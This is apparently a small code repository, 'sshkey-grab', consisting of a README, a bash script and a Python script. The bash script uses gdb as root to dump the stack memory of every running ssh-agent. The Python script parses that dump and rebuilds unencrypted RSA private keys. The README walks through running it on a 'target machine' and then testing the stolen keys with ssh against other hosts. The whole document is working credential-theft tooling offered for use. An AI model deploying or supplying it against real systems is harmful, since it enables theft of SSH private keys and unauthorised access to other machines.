├── README.md ├── grabagentmem.sh └── parse_mem.py /README.md: -------------------------------------------------------------------------------- 1 | sshkey-grab 2 | =========== 3 | 4 | This script uses a bug in ssh-agent that allows it to pull the last key added to the agent. This may allow the ability to recover a key that has been removed from ssh-agent via ssh-add -t, -d, or -D, provided that the ssh-agent was not terminated and a new key has not been added since the previous one was removed. This bug has been reported and may be fixed in newer versions of OpenSSH, which will cause this tool to break. 5 | 6 | ### Requirements 7 | 8 | - grabagentmem.sh requries root access and gdb on the target machine to work properly 9 | - parse_mem.py requires the pyasn1 python module to be installed 10 | 11 | 12 | ### Usage 13 | 14 | 1. Copy grabagentmem.sh to the target machine. 15 | 2. Run grabagentmem.sh on the target machine as root. This will create a memory dump of the stack for each ssh-agent process running on this box. They will be named /tmp/SSHagent-$PID.stack by default. 16 | 3. Copy the stack traces to the machine that has parse_mem.py installed 17 | 4. run parse_mem.py [stack file] \[key output\] (Example: ./parse_mem.py /tmp/SSHagent-17019.stack /tmp/key) 18 | 5. Test to see if extracted key file works by using ssh -i [key file] [user]@[machine] 19 | 20 | 21 | Part of the RSA key creation code is from Thialfihar's Fancy SSH Key Generator: https://github.com/thialfihar/semantic-ssh-key/blob/master/generate_fancy_ssh_key.py 22 | -------------------------------------------------------------------------------- /grabagentmem.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | # First argument is the output directory. Use /tmp if this is not specified. 4 | outputdir="/tmp" 5 | 6 | # Grab pids for each ssh-agent 7 | sshagentpids=$(ps --no-headers -fC ssh-agent | awk '{print $2}') 8 | 9 | # Iterate through the pids and create a memory dump of the stack for each 10 | for pid in $sshagentpids; do 11 | stackmem="$(grep stack /proc/$pid/maps | sed -n 's/^\([0-9a-f]*\)-\([0-9a-f]*\) .*$/\1 \2/p')" 12 | startstack=$(echo $stackmem | awk '{print $1}') 13 | stopstack=$(echo $stackmem | awk '{print $2}') 14 | 15 | gdb --batch -pid $pid -ex "dump memory $outputdir/sshagent-$pid.stack 0x$startstack 0x$stopstack" 2&>1 >/dev/null 16 | 17 | # GDB doesn't error out properly if this fails. 18 | # This will provide feedback if the file is actually created 19 | if [ -f "$outputdir/sshagent-$pid.stack" ]; then 20 | echo "Created $outputdir/sshagent-$pid.stack" 21 | else 22 | echo "Error dumping memory from $pid" 23 | fi 24 | done 25 | -------------------------------------------------------------------------------- /parse_mem.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python 2 | 3 | import sys 4 | import base64 5 | from pyasn1.type import univ 6 | from pyasn1.codec.der import encoder 7 | 8 | 9 | class sshkeyparse: 10 | """ This class is designed to parse a memory dump of ssh-agent and create 11 | unencrypted ssh keys that can then be used to gain access to other 12 | systems""" 13 | keytypes = { 14 | 'rsa': "ssh-rsa", 15 | 'dsa': "ssh-dss", 16 | 'ecsda': "ecdsa-sha2-nisp256", 17 | 'ed25519': "ssh-ed25519" 18 | } 19 | 20 | def read(self, memdump): 21 | """ Reads a file and stories it in self.mem""" 22 | self.inputfile = memdump 23 | file = open(memdump, 'rb') 24 | self.mem = "".join(file.readlines()) 25 | file.close() 26 | 27 | def unpack_bigint(self, buf): 28 | """Turn binary chunk into integer""" 29 | 30 | v = 0 31 | for c in buf: 32 | v *= 256 33 | v += ord(c) 34 | 35 | return v 36 | 37 | def search_key(self): 38 | """Searches for keys in self.mem""" 39 | 40 | keysfound = {} 41 | 42 | for type in self.keytypes: 43 | magic = self.mem.find(self.keytypes[type]) 44 | 45 | if magic is not -1: 46 | keysfound[magic] = type 47 | 48 | if keysfound: 49 | print ("Found %s key" % keysfound[sorted(keysfound)[0]]) 50 | self.mem = self.mem[sorted(keysfound)[0]:] 51 | self.type = keysfound[sorted(keysfound)[0]] 52 | return 1 53 | 54 | if not keysfound: 55 | return -1 56 | 57 | def getkeys(self, output): 58 | """ Parses for keys stored in ssh-agent's stack """ 59 | 60 | keynum = 0 61 | validkey = 0 62 | 63 | validkey = self.search_key() 64 | while validkey != -1: 65 | 66 | if keynum == 0: 67 | keynum += 1 68 | self.create_key(output) 69 | 70 | else: 71 | keynum += 1 72 | self.create_key((output + "." + str(keynum))) 73 | 74 | validkey = self.search_key() 75 | 76 | if keynum == 0: 77 | # Did not find a valid key type 78 | print ("A saved key was not found in %s" % self.inputfile) 79 | print ("The user may not have loaded a key or the key loaded is " + 80 | "not supported.") 81 | sys.exit(1) 82 | else: 83 | return 84 | 85 | # Detect type of key and run key creation 86 | def create_key(self, output): 87 | """Creates key files""" 88 | 89 | output = output + "." + self.type 90 | 91 | if self.type is "rsa": 92 | self.create_rsa(output) 93 | print ("Creating %s key: %s" % (self.type, output)) 94 | elif self.type is "dsa": 95 | self.create_dsa(output) 96 | print ("Creating %s key: %s" % (self.type, output)) 97 | else: 98 | print ("%s key type is not currently supported." % self.type) 99 | sys.exit(3) 100 | 101 | def create_dsa(self, output): 102 | """Create DSA SSH key file""" 103 | if self.mem[0:7] == "ssh-dss": 104 | print ("DSA SSH Keys are not currently supported.") 105 | self.mem = self.mem[start+size:] 106 | 107 | else: 108 | print ("Error: This is not a DSA SSH key file") 109 | sys.exit(2) 110 | 111 | def create_rsa(self, output): 112 | """Create RSA SSH key file""" 113 | if self.mem[0:7] == "ssh-rsa": 114 | 115 | # FIXME: This needs to be cleaned up. 116 | start = 10 117 | size = self.unpack_bigint(self.mem[start:(start+2)]) 118 | start += 2 119 | n = self.unpack_bigint(self.mem[start:(start+size)]) 120 | start = start + size + 2 121 | size = self.unpack_bigint(self.mem[start:(start+2)]) 122 | start += 2 123 | e = self.unpack_bigint(self.mem[start:(start+size)]) 124 | start = start + size + 2 125 | size = self.unpack_bigint(self.mem[start:(start+2)]) 126 | start += 2 127 | d = self.unpack_bigint(self.mem[start:(start+size)]) 128 | start = start + size + 2 129 | size = self.unpack_bigint(self.mem[start:(start+2)]) 130 | start += 2 131 | c = self.unpack_bigint(self.mem[start:(start+size)]) 132 | start = start + size + 2 133 | size = self.unpack_bigint(self.mem[start:(start+2)]) 134 | start += 2 135 | p = self.unpack_bigint(self.mem[start:(start+size)]) 136 | start = start + size + 2 137 | size = self.unpack_bigint(self.mem[start:(start+2)]) 138 | start += 2 139 | q = self.unpack_bigint(self.mem[start:(start+size)]) 140 | 141 | e1 = d % (p - 1) 142 | e2 = d % (q - 1) 143 | 144 | self.mem = self.mem[start+size:] 145 | 146 | else: 147 | print ("Error: This is not a RSA SSH key file") 148 | sys.exit(2) 149 | 150 | seq = ( 151 | univ.Integer(0), 152 | univ.Integer(n), 153 | univ.Integer(e), 154 | univ.Integer(d), 155 | univ.Integer(p), 156 | univ.Integer(q), 157 | univ.Integer(e1), 158 | univ.Integer(e2), 159 | univ.Integer(c), 160 | ) 161 | 162 | struct = univ.Sequence() 163 | 164 | for i in xrange(len(seq)): 165 | struct.setComponentByPosition(i, seq[i]) 166 | 167 | raw = encoder.encode(struct) 168 | data = base64.b64encode(raw) 169 | 170 | # chop data up into lines of certain width 171 | width = 64 172 | chopped = [data[i:i + width] for i in xrange(0, len(data), width)] 173 | # assemble file content 174 | content = """-----BEGIN RSA PRIVATE KEY----- 175 | %s 176 | -----END RSA PRIVATE KEY----- 177 | """ % '\n'.join(chopped) 178 | output = open(output, 'w') 179 | output.write(content) 180 | output.close() 181 | 182 | # MAIN 183 | 184 | keystart = sshkeyparse() 185 | keystart.read(sys.argv[1]) 186 | keystart.getkeys(sys.argv[2]) 187 | --------------------------------------------------------------------------------